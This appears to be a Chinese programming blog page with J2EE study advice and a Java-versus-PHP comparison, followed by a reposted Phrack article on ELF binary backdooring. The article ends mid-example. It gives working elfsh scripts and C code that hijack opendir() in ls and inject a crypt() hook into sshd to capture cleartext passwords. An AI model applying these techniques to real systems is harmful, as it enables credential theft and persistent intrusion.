平时可以多留意这方面,熟悉一些典型案例,分析它为什么要采用那个时间?那样做能达到什么样的目的?然后联系到自己身边的项目是否可以作为参考。  ◆ 学习J2EE下的各种技术。  在有了前几阶段的学习后,可以自己搭建一个J2EE平台开始具体学习每一种技术。你可以参与公司相关项目进行学习,也可以自己搭建一个平台进行学习。这时候应该找点相关的书来一步一步学习,没有捷径可走。如果你不满足于这些,那么还应该更深入地学习UML、设计模式等方面的东西。      

Peter
Java和PHP在Web开发方面的比较
   比较PHP和JSP这两个Web开发技术,在目前的情况是其实是比较PHP和Java的Web开发。以下是我就几个主要方面进行的比较:   一、 语言比较   PHP是解释执行的服务器脚本语言,首先php有简单容易上手的特点。语法和c语言比较象,所以学过c语言的程序员可以很快的熟悉php的开发。而java需要先学好java的语法和熟悉一些核心的类库,懂得面向对象的程序设计方法。所以java不如php好学。   Java首先要编译成字节码.class文件,然后在java虚拟机上解释执行。Java的Web开发首先最容易想到的就是JSP(现在已经到JSP2.0),原来的java的Web开发都是用servlet来实现的,用servlet来开发需要程序员在java的源文件中嵌入大量的html代码。所以后来就出现了JSP,JSP可以方便的嵌入到html文件当中,其实jsp文件在服务器上执行的时候首先会被应用服务器转换成servlet,然后再编译执行。Jsp可以通过servlet和JavaBean的支持产生强大的功能。JavaBean 是一种可复用的、跨平台的软件组件。使用javabean可以方便的实现java代码和html的分离,能够增强系统的功能和软件的复用性。   Java的Web开发属于SUN公司定义的J2EE其中的规范。而且在J2EE中包括了java的Web开发的所有方面,如:JSP、Servlet、JDBC、JNDI、JAVABEAN、EJB等等。J2EE就特别适合于做大型的企业级的应用。   二、 数据库访问比较   Java通过JDBC来访问数据库,通过不同的数据库厂商提供的数据库驱动方便地访问数据库。访问数据库的接口比较统一。   PHP对于不同的数据库采用不同的数据库访问接口,所以数据库访问代码的通用性不强。例如:用Java开发的Web应用从MySQL数据库转到Oracle数据库只需要做很少的修改。而PHP则需要做大量的修改工作。   三、 系统设计架构比较   采用Java的Web开发技术,需要使用的是面向对象的系统设计方法,而PHP还是采用面向过程的开发方法。所以用Java进行开发前期需要做大量的系统分析和设计的工作。   四、 跨平台性   Java和PHP都有很好的跨平台的特性。几乎都可以在不作任何修改的情况下运行在Linux或者Windows等不同的操作系统上。   五、 开发成本比较   PHP最经典的组合就是:PHP + MySQL + Apache。非常适合开发中小型的Web应用,开发的速度比较快。而且所有的软件都是开源免费的,可以减少投入。   Java的Web应用服务器有免费Tomcat、JBoss等,如果需要更好的商业化的服务有:Web Sphere和 Web logic。   六、 分布式多层架构比较   PHP只能实现简单的分布式两层或三层的架构,而JAVA在这方面就比较强大,可以实现多层的网络架构。数据库层(持久化层)、应用(业务)逻辑层、表示逻辑层彼此分开,而且现在不同的层都已经有一些成熟的开发框架的支持。例如Struts就是利用java的Web开发技术实现了MVC的设计模式,而在业务逻辑层也有Spring框架,数据库持久化层有Hibernate等框架。这些框架可以方便开发者高效、合理、科学得架构多层的商业应用。   下面简要的说一下Struts,它实质上是在JSP Model2的基础上实现的一个MVC(Model、View、Controler)框架。JSP Model2体系结构是一种联合使用JSP 与Servlet 来提供动态内容的方法。在Struts框架中,模型由实现业务逻辑的JavaBean或EJB组件构成,控制器由Servlet实现的,视图由一组JSP文件组成。采用Struts可以明确角色的定义和开发者与网页设计者的分工。而且项目越复杂,其优势越明显。   七、 源代码安全   PHP开发的程序的源代码都是公开的,他人拿到php开发的程序后都可以进行修改。   Java开发的程序,最后用户拿到的是只是一些编译好的class类,无法看到完整的源代码,安全性高。   八、性能比较   有人做过试验,对这两种种语言分别做回圈性能测试及存取Oracle数据库测试。   在循环性能测试中,JSP只用了令人吃惊的四秒钟就结束了20000*20000的回圈。而PHP测试的是2000*2000循环(少一个数量级),却分别用了63秒。   数据库测试中,二者分别对 Oracle 8 进行 1000 次 Insert,Update,Select和Delete: JSP 需要 13 秒,PHP 需要 69 秒。    项目 PHP JAVA 可复用性 低 高 开发速度 快 慢 易维护性 差 优 可移植性 优-Linux Windows、Unix 安全性 低 高 开发费用 低 高 多层架构 差 优 数据库访问 接口不统一 接口统一 可扩展性 差 优 面向对象 差 优     综上所述,我个人认为,PHP适合于快速开发,中小型应用系统,开发成本低,能够对变动的需求作出快速的反应。而Java适合于开发大型的应用系统,应用的前景比较广阔,系统易维护、可复用性较好。还有,同样功能的系统用Java开发的系统要比PHP开发的系统的价格要高。  

冰凝
感觉
       前天在编程王注册的用户,通过几天的使用,发现编程王和历史很长,但人气不旺。可以编程王还在处于发展期限吧,所以有些部分感觉还不太成熟;也可能是现在相同类型的网站过多,以至于人气不旺呢?      希望看到此文章的会员或游客帮编程王提高人气吧。

Peter
一个良好的ELF教程
http://www.phrack.org/issues.html?issue=61&id=8#article          ==Phrack Inc.==                Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f |=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=| |=----------------------------------------------------------------------=| |=------------------=[  The Cerberus ELF Interface  ]=------------------=| |=----------------------------------------------------------------------=| |=------------------=[  mayhem <mayhem@devhell.org> ]=------------------=| 1. Introduction 2. Quick and usable backdoor in 4 bytes     a/ The .dynamic section     b/ DT_NEEDED and DT_DEBUG entries     c/ Performing function hijacking     d/ Example 1: ls and opendir() 3. Residency : ET_REL injection into ET_EXEC     a/ Section injection : pre-interp vs post-bss     b/ Multiple BSS merging     c/ Symbol tables merging     d/ Mixing (a,b,c) for injecting a module into an executable     e/ Example 2: sshd and crypt()     f/ Multi-architecture algorithms     g/ ELFsh 0.51b relocation engine implementation details 4. Infection : ALTPLT technique     a/ Foundations of ALTPLT     b/ ALTPLT on SPARC     c/ Example 3: md5sum and fopen64()     d/ Multi-architecture algorithm     e/ Improvement suggestions for the redir command 5. The end ? 6. Greets 7. References -------[ 1. Introduction This article introduces three new generic techniques in ELF (Executable and Linking Format) objects manipulation. The first presented one is designed to be simple and quickly implemented, others are more complex and allow advanced software extension without having the source tree. These techniques can be used for a wide panel of requirements such as closed-source software debugging, software extension, backdooring, virii writing, intrusion detection and intrusion prevention. The examples will make use of the ELF shell [1], a freely available scripting language to modify ELF binaries. It works on two architectures (INTEL and SPARC) and four operating systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the techniques work even if the target machine is installed with address space randomization and execution restriction, such as PaX [2] protected boxes, since all the code injection is done in the allowed areas. ELF basics -will not- be explained, if you have troubles understanding the article, please read the ELF TIS [3] reference before requesting extra details ;). You can also try another resource [4] which is a good introduction to the ELF format, from the virus writing perspective. In the first part of the paper, an easy and pragmatic technique for backdooring an executable will be described, just by changing 4 bytes. It consists of corrupting the .dynamic section of the binary (2) and erase some entries (DT_DEBUG) for adding others (DT_NEEDED), plus swapping existing DT_NEEDED entries to give priority to certain symbols, all of this without changing the file size. The second part describes a complex residency technique, which consists of adding a module (relocatable object ET_REL, e.g. a .o file) into an executable file (ET_EXEC) as if the binary was not linked yet. This technique is provided for INTEL and SPARC architectures : compiled C code can thus be added permanently to any ELF32 executable. Finally, a new infection technique called ALTPLT (4) will be explained. This feature is an extension of PLT infection [5] and works in correlation with the ET_REL injection. It consists of duplicating the Procedure Linkage Table and inject symbols onto each entry of the alternate PLT. The advantages of this technique are the relative portability (relative because we will see that minor architecture dependant fixes are necessary), its PaX safe bevahior as well, and the ability to call the original function from the hook function without having to perform painful tasks like runtime byte restoration. Example ELFsh scripts are provided for all the explained techniques. However, no ready-to-use backdoors will be included (do you own!). For peoples who did not want to see these techniques published, I would just argue that all of them have been available for a couple of months for those who wanted, and new techniques are already in progress. These ideas were born from a good exploitation of the information provided in the ELF reference and nothing was ripped to anyone. I am not aware of any implementation providing these features, but if you feel injuried, you can send flame emails and my bot^H^H^H^H^H^H I will kindly answer all of them. -------[ 2. Quick and usable backdoor in 4 bytes Every dynamic executable file contains a .dynamic section. This zone is useful for the runtime linker in order to access crucial information at runtime without requiring a section header table (SHT), since the .dynamic section data  matches the bounds of the PT_DYNAMIC segment entry of the Program Header Table (PHT). Useful information includes the address and size of relocation tables, the addresses of initialization and destruction routines, the addresses of version tables, pathes for needed libraries, and so on. Each entry of .dynamic looks like this, as shown in elf.h : typedef struct {    Elf32_Sword   d_tag;                 /* Dynamic entry type */    union     {       Elf32_Word d_val;                 /* Integer value */       Elf32_Addr d_ptr;                 /* Address value */     } d_un;   } Elf32_Dyn; For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is the related value. Let's use the elfsh '-d' option to print the dynamic section: -----BEGIN EXAMPLE 1----- $ elfsh -f /bin/ls -d   [*] Object /bin/ls has been loaded (O_RDONLY)   [SHT_DYNAMIC]   [Object /bin/ls]   [00] Name of needed library          =>  librt.so.1 {DT_NEEDED}   [01] Name of needed library          =>   libc.so.6 {DT_NEEDED}   [02] Address of init function        =>  0x08048F88 {DT_INIT}   [03] Address of fini function        =>  0x0804F45C {DT_FINI}   [04] Address of symbol hash table    =>  0x08048128 {DT_HASH}   [05] Address of dynamic string table =>  0x08048890 {DT_STRTAB}   [06] Address of dynamic symbol table =>  0x08048380 {DT_SYMTAB}   [07] Size of string table            =>   821 bytes {DT_STRSZ}   [08] Size of symbol table entry      =>    16 bytes {DT_SYMENT}   [09] Debugging entry (unknown)       =>  0x00000000 {DT_DEBUG}   [10] Processor defined value         =>  0x0805348C {DT_PLTGOT}   [11] Size in bytes for .rel.plt      =>   560 bytes {DT_PLTRELSZ}   [12] Type of reloc in PLT            =>          17 {DT_PLTREL}   [13] Address of .rel.plt             =>  0x08048D58 {DT_JMPREL}   [14] Address of .rel.got section     =>  0x08048D20 {DT_REL}   [15] Total size of .rel section      =>    56 bytes {DT_RELSZ}   [16] Size of a REL entry             =>     8 bytes {DT_RELENT}   [17] SUN needed version table        =>  0x08048CA0 {DT_VERNEED}   [18] SUN needed version number       =>           2 {DT_VERNEEDNUM}   [19] GNU version VERSYM              =>  0x08048BFC {DT_VERSYM}   [*] Object /bin/ls unloaded $ -----END EXAMPLE 1----- The careful reader would have noticed a strange entry of type DT_DEBUG. This entry is used in the runtime linker to retrieve debugging information, it is present in all GNU tools generated binaries but it is not mandatory. The idea is to erase it using a forged DT_NEEDED, so that an extra library dependance is added to the executable. The d_val field of a DT_NEEDED entry contains a relative offset from the beginning of the .dynstr section, where we can find the library path for this entry. What happens if we want to avoid injecting an extra library path string into the .dynstr section ? -----BEGIN EXAMPLE 2----- $ elfsh -f /bin/ls -X dynstr | grep so .dynstr + 16  6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock .dynstr + 48  696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so. .dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp .dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso $ -----END EXAMPLE 2----- We just have to choose an existing library path string, but avoid starting at the beginning ;). The ELF reference specifies clearly that a same string in .dynstr can be used by multiple entries at a time: -----BEGIN EXAMPLE 3----- $ cat > /tmp/newlib.c function() {    printf("my own fonction \n"); } $ gcc -shared /tmp/newlib.c -o /lib/rt.so.1 $ elfsh   Welcome to The ELF shell 0.5b9 .::.   .::. This software is under the General Public License   .::. Please visit http://www.gnu.org to know about Free Software [ELFsh-0.5b9]$ load /bin/ls    [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003 [ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG [SHT_DYNAMIC] [Object /bin/ls] [00] Name of needed library            =>          librt.so.1 {DT_NEEDED} [01] Name of needed library            =>           libc.so.6 {DT_NEEDED} [09] Debugging entry (unknown)         =>          0x00000000 {DT_DEBUG} [ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED   [*] Field set succesfully [ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19   [*] Field set succesfully [ELFsh-0.5b9]$ save /tmp/ls.new   [*] Object /tmp/ls.new saved successfully [ELFsh-0.5b9]$ quit   [*] Unloading object 1 (/bin/ls) *   Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 3----- Lets verify our changes: -----BEGIN EXAMPLE 4----- $ elfsh -f ls.new -d DT_NEEDED [*] Object ls.new has been loaded (O_RDONLY) [SHT_DYNAMIC] [Object ls.new] [00] Name of needed library            =>          librt.so.1 {DT_NEEDED} [01] Name of needed library            =>           libc.so.6 {DT_NEEDED} [09] Name of needed library            =>             rt.so.1 {DT_NEEDED} [*] Object ls.new unloaded $ ldconfig      # refresh /etc/ld.so.cache $ -----END EXAMPLE 4----- This method is not extremely stealth because a simple command can list all the library dependances for a given binary: $ ldd /tmp/ls.new          librt.so.1 => /lib/librt.so.1 (0x40021000) libc.so.6 => /lib/libc.so.6 (0x40033000) rt.so.1 => /lib/rt.so.1 (0x40144000) libpthread.so.0 => /lib/libpthread.so.0 (0x40146000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) $ Is the executable still working? $ ./ls.new AcroOlAAFj  ELFSH_DEBUG  ls.new  newlib.c $ OK, so we found a good way to inject as much code as we want in a process, by adding a library dependance to the main object, the executable object. Now what if we want to hijack functions with such an easy technique? We can force some symbols to get resolved in priority over other symbols : when the runtime relocation is done (when the .got section is patched), the runtime linker will iterate on the link_map [6] [7] [8] list, find the first matching symbol, and fill the Global Offset Table related entry (or the Procedure Linkage Table entry if we are on SPARC) with the absolute runtime address where the function is mapped. A simple technique consists of swapping DT_NEEDED entries and make our own library to be present before other libraries in the link_map double linked list, and symbols to be resolved before the original symbols. In order to call the original function from the hook function, we will have to use dlopen(3) and dlsym(3) so that we can resolve a symbol for a given object. Lets take the same code, and this time, write a script which can hijack opendir(3) to our own function(), and then call the original opendir(), so that the binary can be run normally: -----BEGIN EXAMPLE 5----- $ cat dlhijack.esh #!/usr/bin/elfsh load /bin/ls # Move DT_DEBUG into DT_NEEDED set 1.dynamic[9].tag DT_NEEDED # Put the former DT_DEBUG entry value to the first DT_NEEDED value set 1.dynamic[9].val 1.dynamic[0].val # Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1 add 1.dynamic[0].val 3 save ls.new quit $ -----END EXAMPLE 5----- Now let's write the opendir hook code: -----BEGIN EXAMPLE 6----- $ cat myopendir.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <fcntl.h> #include <dirent.h> #include <dlfcn.h> #define LIBC_PATH       "/lib/libc.so.6" DIR     *opendir(const char *name) {    void  *handle;    void  *(*sym)(const char *name);    handle = dlopen(LIBC_PATH, RTLD_LAZY);    sym = (void *) dlsym(handle, "opendir");    printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",    sym, name);    return (sym(name)); } $ gcc -shared myopendir.c -o rt.so.1 -ldl $ -----END EXAMPLE 6----- Now we can modify the binary using our 4 lines script: -----BEGIN EXAMPLE 7----- $ ./dlhijack.esh    Welcome to The ELF shell 0.5b9 .::.    .::. This software is under the General Public License    .::. Please visit http://www.gnu.org to know about Free Software    ~load /bin/ls      [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003    ~set 1.dynamic[9].tag DT_NEEDED      [*] Field set succesfully    ~set 1.dynamic[9].val 1.dynamic[0].val      [*] Field set succesfully    ~add 1.dynamic[0].val 3      [*] Field modified succesfully    ~save ls.new      [*] Object ls.new save successfully     ~quit      [*] Unloading object 1 (/bin/ls) *   Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 7----- Let's see the results for the original ls, and then for the modified ls: $ ldd ls.new         rt.so.1 => /lib/rt.so.1 (0x40021000)         libc.so.6 => /lib/libc.so.6 (0x40023000)         librt.so.1 => /lib/librt.so.1 (0x40134000)         libdl.so.2 => /lib/libdl.so.2 (0x40146000)         /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)         libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000) $ ls c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c  \ myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1 $ ./ls.new OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = . c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c \ myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1 $ Nice. Note that the current implementation of this technique in ELFsh changes the size of the binary because it injects automatically some symbols for binary sanity. If you want to keep the same size, you have to comment the calls to elfsh_fixup_symtab in the ELFsh source code ;) . This stuff is known to be used in the wild. The dynamic version of this technique has been proposed in [9], where the author describes how to call dlopen() in a subversive way, so that the process get runtime linked with an extra library. In practice, both implementations have nothing in common, but it is worth mentionning. -------[ 3. Residency : ET_REL injection into ET_EXEC This second technique allows to perform relinking of the ELF ET_EXEC binary file and adding a relocatable object (ET_REL file aka .o file) into the program address space. This is very useful since it is a powerful method to inject as much data and code as needed in a file using a 5 lines script. Such relocation based backdoors have been developped in the past for static kernel patching [10] (ET_REL into vmlinuz) and direct LKM loading in kernel memory (ET_REL into kmem) [11] . However, this ET_REL injection into ET_EXEC implementation is in my sense particulary interresting since it has been implemented considering a larger scope of target architectures and for protected environments. Because ELFsh is also used for things other than backdooring, the SHT and the symbol table are kept synchronized when we insert our stuff into the binary, so that symbol resolving can be provided even in the injected code. Since the backdoor needs to stay valid on a PaX protected box, we use 2 different injection techniques (one for the code sections, the other for the data sections) called section pre-interp injection (because we insert the new section before the .interp section) and section post-bss injection (because we insert the new section after the .bss section). For this second injection type, .bss data physical insertion into the file is necessary, since .bss is the non-initialized data section, it is only referenced by the SHT and PHT, but it is not present in the file. Also, note that section pre-interp injection is not possible with the current FreeBSD dynamic linker (some assert() kills the modified binary), so all sections are injected using a post-bss insertion on this OS. This is not an issue since FreeBSD does not come with non-executable protection for datapages. If such a protection comes in the future, we would have to modify the dynamic linker itself before being able to run the modified binary, or make the code segment writable in sh_flags. Let's look at the binary layout (example is sshd, it is the same for all the binaries) : -----BEGIN EXAMPLE 8----- $ elfsh -f /usr/sbin/sshd -q -s -p [SECTION HEADER TABLE .::. SHT is not stripped] [Object /usr/sbin/sshd] [000] (nil)      -------                 foff:00000000 sz:00000000 link:00 [001] 0x80480f4  a------ .interp         foff:00000244 sz:00000019 link:00 [002] 0x8048108  a------ .note.ABI-tag   foff:00000264 sz:00000032 link:00 [003] 0x8048128  a------ .hash           foff:00000296 sz:00001784 link:04 [004] 0x8048820  a------ .dynsym         foff:00002080 sz:00003952 link:05 [005] 0x8049790  a------ .dynstr         foff:00006032 sz:00002605 link:00 [006] 0x804a1be  a------ .gnu.version    foff:00008638 sz:00000494 link:04 [007] 0x804a3ac  a------ .gnu.version_r  foff:00009132 sz:00000096 link:05 [008] 0x804a40c  a------ .rel.got        foff:00009228 sz:00000008 link:04 [009] 0x804a414  a------ .rel.bss        foff:00009236 sz:00000056 link:04 [010] 0x804a44c  a------ .rel.plt        foff:00009292 sz:00001768 link:04 [011] 0x804ab34  a-x---- .init           foff:00011060 sz:00000037 link:00 [012] 0x804ab5c  a-x---- .plt            foff:00011100 sz:00003552 link:00 [013] 0x804b940  a-x---- .text           foff:00014656 sz:00145276 link:00 [014] 0x806f0bc  a-x---- .fini           foff:00159932 sz:00000028 link:00 [015] 0x806f0e0  a------ .rodata         foff:00159968 sz:00068256 link:00 [016] 0x8080b80  aw----- .data           foff:00228224 sz:00003048 link:00 [017] 0x8081768  aw----- .eh_frame       foff:00231272 sz:00000004 link:00 [018] 0x808176c  aw----- .ctors          foff:00231276 sz:00000008 link:00 [019] 0x8081774  aw----- .dtors          foff:00231284 sz:00000008 link:00 [020] 0x808177c  aw----- .got            foff:00231292 sz:00000900 link:00 [021] 0x8081b00  aw----- .dynamic        foff:00232192 sz:00000200 link:05 [022] 0x8081bc8  -w----- .sbss           foff:00232416 sz:00000000 link:00 [023] 0x8081be0  aw----- .bss            foff:00232416 sz:00025140 link:00 [024] (nil)      ------- .comment        foff:00232416 sz:00002812 link:00 [025] (nil)      ------- .note           foff:00235228 sz:00001480 link:00 [026] (nil)      ------- .shstrtab       foff:00236708 sz:00000243 link:00 [027] (nil)      ------- .symtab         foff:00236951 sz:00000400 link:00 [028] (nil)      ------- .strtab         foff:00237351 sz:00000202 link:00 [Program header table .::. PHT] [Object /usr/sbin/sshd] [0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019) [2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224) [3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168) [4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200) [5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032) [Program header table .::. SHT correlation] [Object /usr/sbin/sshd] [*] SHT is not stripped [00] PT_PHDR    [01] PT_INTERP         .interp [02] PT_LOAD           .interp .note.ABI-tag .hash .dynsym .dynstr \        .gnu.version .gnu.version_r .rel.got .rel.bss \        .rel.plt .init .plt .text .fini .rodata [03] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic [04] PT_DYNAMIC        .dynamic [05] PT_NOTE           .note.ABI-tag $ -----END EXAMPLE 8----- We have here two loadable segments, one is executable (matches the code segment) and the other is writable (matches the data segment). What we have to do is to inject all non-writable sections before .interp (thus in the code segment), and all other section's after .bss in the data segment. Let's code a handler for crypt() which prints the clear password and exit. In this first example, we will use GOT redirection [12] and hijack crypt() which stays in the libc: -----BEGIN EXAMPLE 9----- $ cat mycrypt.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int     glvar = 42; int     bssvar; char *mycrypt(const char *key, const char *salt) {    bssvar = 2;    printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",          key, glvar, bssvar);    exit(0); } $ gcc -c mycrypt.c $ -----END EXAMPLE 9----- Using the 'reladd' command, we will inject mycrypt.o into sshd: -----BEGIN EXAMPLE 10----- $ cat etreladd.esh #!/usr/bin/elfsh load /usr/sbin/sshd load mycrypt.o # Inject mycrypt.o into sshd reladd 1 2 # Modify crypt() got entry and make it point on mycrypt() which resides # into mycrypt.o set 1.got[crypt] mycrypt save sshd.new quit $ ./etreladd.esh          Welcome to The ELF shell 0.5b9 .::.          .::. This software is under the General Public License          .::. Please visit http://www.gnu.org to know about Free Software ~load /usr/sbin/sshd   [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003 ~load mycrypt.o   [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003 ~reladd 1 2   [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd ~set 1.got[crypt] mycrypt   [*] Field set succesfully ~save sshd.new   [*] Object sshd.new save successfully ~quit [*] Unloading object 1 (mycrypt.o)   [*] Unloading object 2 (/usr/sbin/sshd) *          Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 10----- Our script rocked. As I said, the symbol tables and the .bss from the module have been fused with those from the executable file and the SHT has been kept synchronized, so that resolving is also possible in the injected code: -----BEGIN EXAMPLE 11----- $ elfsh -f sshd.new -q -s -p [SECTION HEADER TABLE .::. SHT is not stripped] [Object sshd.new] [00] (nil)      -------                 foff:00000000 sz:00000000 link:00 [01] 0x80450f4  a-x---- .orig.plt       foff:00000244 sz:00004096 link:00 [02] 0x80460f4  a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00 [03] 0x80470f4  a-x---- mycrypt.o.text  foff:00008436 sz:00004096 link:00 [04] 0x80480f4  a------ .interp         foff:00012532 sz:00000019 link:00 [05] 0x8048108  a------ .note.ABI-tag   foff:00012552 sz:00000032 link:00 [06] 0x8048128  a------ .hash           foff:00012584 sz:00001784 link:07 [07] 0x8048820  a------ .dynsym         foff:00014368 sz:00003952 link:08 [08] 0x8049790  a------ .dynstr         foff:00018320 sz:00002605 link:00 [09] 0x804a1be  a------ .gnu.version    foff:00020926 sz:00000494 link:07 [10] 0x804a3ac  a------ .gnu.version_r  foff:00021420 sz:00000096 link:08 [11] 0x804a40c  a------ .rel.got        foff:00021516 sz:00000008 link:07 [12] 0x804a414  a------ .rel.bss        foff:00021524 sz:00000056 link:07 [13] 0x804a44c  a------ .rel.plt        foff:00021580 sz:00001768 link:07 [14] 0x804ab34  a-x---- .init           foff:00023348 sz:00000037 link:00 [15] 0x804ab5c  a-x---- .plt            foff:00023388 sz:00003552 link:00 [16] 0x804b940  a-x---- .text           foff:00026944 sz:00145276 link:00 [17] 0x806f0bc  a-x---- .fini           foff:00172220 sz:00000028 link:00 [18] 0x806f0e0  a------ .rodata         foff:00172256 sz:00068256 link:00 [19] 0x8080b80  aw----- .data           foff:00240512 sz:00003048 link:00 [20] 0x8081768  aw----- .eh_frame       foff:00243560 sz:00000004 link:00 [21] 0x808176c  aw----- .ctors          foff:00243564 sz:00000008 link:00 [22] 0x8081774  aw----- .dtors          foff:00243572 sz:00000008 link:00 [23] 0x808177c  aw----- .got            foff:00243580 sz:00000900 link:00 [24] 0x8081b00  aw----- .dynamic        foff:00244480 sz:00000200 link:08 [25] 0x8081bc8  -w----- .sbss           foff:00244704 sz:00000000 link:00 [26] 0x8081be0  aw----- .bss            foff:00244704 sz:00025144 link:00 [27] 0x8087e18  aw----- mycrypt.o.data  foff:00269848 sz:00000004 link:00 [28] (nil)      ------- .comment        foff:00269852 sz:00002812 link:00 [29] (nil)      ------- .note           foff:00272664 sz:00001480 link:00 [30] (nil)      ------- .shstrtab       foff:00274144 sz:00000300 link:00 [31] (nil)      ------- .symtab         foff:00274444 sz:00004064 link:00 [32] (nil)      ------- .strtab         foff:00278508 sz:00003423 link:00 [Program header table .::. PHT] [Object sshd.new] [0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019) [2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512) [3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340) [4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200) [5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032) [Program header table .::. SHT correlation] [Object sshd.new] [*] SHT is not stripped [0] PT_PHDR    [1] PT_INTERP         .interp [2] PT_LOAD           .orig.plt mycrypt.o.rodata mycrypt.o.text .interp       .note.ABI-tag .hash .dynsym .dynstr .gnu.version        .gnu.version_r .rel.got .rel.bss .rel.plt .init         .plt .text .fini .rodata [3] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic .sbss       .bss mycrypt.o.data [4] PT_DYNAMIC        .dynamic [5] PT_NOTE           .note.ABI-tag $ -----END EXAMPLE 11----- The new sections can be easily spotted in the new SHT, since their name starts with the module name (mycrypt.o.*). Please elude the .orig.plt presence for the moment. This section is injected at ET_REL insertion time, but it is not used in this example and it will be explained as a stand-alone technique in the next chapter. We can see that the new BSS size is 4 bytes bigger than the original one. It is because the module BSS was only filled with one variable (bssvar), which was a 4 bytes sized integer since this specific example was done on a 32 bits architecture. The difficulty of this operation is to find the ET_REL object BSS section size, because it is set to 0 in the SHT. For this operation, we need to care about variable address alignement using the st_value field from each SHN_COMMON symbols of the ET_REL object, as specified by the ELF reference. Details for this algorithm are given later in the article. It works on Solaris as well, even if ET_REL files generated by Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2 implementation has one more limitation on Solaris, which is a 'Malloc problem' happening at the first malloc() call when using a section post-bss injection. You dont have to use this kind of section injection ; ET_REL injection works well on Solaris if you do not use initialized global variables. This problem has been solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols so that they still points on the beginning of the heap (e.g. at the end of the last post-bss mapped section, or at the end of the bss, if there is no post-bss mapped section). Also, the .shstrtab, .symtab, and .strtab sections have been extended, and now contain extra symbol names, extra section names, and extra symbols copied from the ET_REL object. You can note that pre-interp injected sections base address is congruent getpagesize(), so that the executable segment always starts at the beginning of a page, as requested by the ELF reference. ELFsh could save some place here, instead of allocating the size of a page each time a section is injected, but that would complexify the algorithm a bit, so the congruence is kept for each inserted section. The implementation has the cool advantage of -NOT- having to move the original executable address space, so that no relocation of the original code is needed. In other words, only the .o object sections are relocated and we can be sure that no false positive relocation is possible (e.g. we -DO NOT- have to find all references in the sshd code and patch them because the address space changed). This is the injected code section's assembly dump, which contains the mycrypt function: -----BEGIN EXAMPLE 12----- $ elfsh -f sshd.new -q -D mycrypt.o.text 080470F4 mycrypt.o.text + 0            push          %ebp             080470F5 mycrypt.o.text + 1            mov           %esp,%ebp        080470F7 mycrypt.o.text + 3            sub           $8,%esp          080470FA mycrypt.o.text + 6            mov           $2,<bssvar>      08047104 mycrypt.o.text + 16           mov           <bssvar>,%eax    08047109 mycrypt.o.text + 21           push          %eax             0804710A mycrypt.o.text + 22           mov           <glvar>,%eax     0804710F mycrypt.o.text + 27           push          %eax             08047110 mycrypt.o.text + 28           mov           8(%ebp),%eax     08047113 mycrypt.o.text + 31           push          %eax             08047114 mycrypt.o.text + 32           push          $<mycrypt.o.rodata> 08047119 mycrypt.o.text + 37           call          <printf>         0804711E mycrypt.o.text + 42           add           $10,%esp         08047121 mycrypt.o.text + 45           add           $0xFFFFFFF4,%esp   08047124 mycrypt.o.text + 48           push          $0               08047126 mycrypt.o.text + 50           call          <exit>           0804712B mycrypt.o.text + 55           add           $10,%esp         0804712E mycrypt.o.text + 58           lea           0(%esi),%esi     08047134 mycrypt.o.text + 64           leave      08047135 mycrypt.o.text + 65           ret -----END EXAMPLE 12----- Lets test our new sshd: $ ssh mayhem@localhost Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER> mayhem@localhost's password: <--- type your passwd Connection closed by 127.0.0.1 $ Let's verify on the server side what happened: 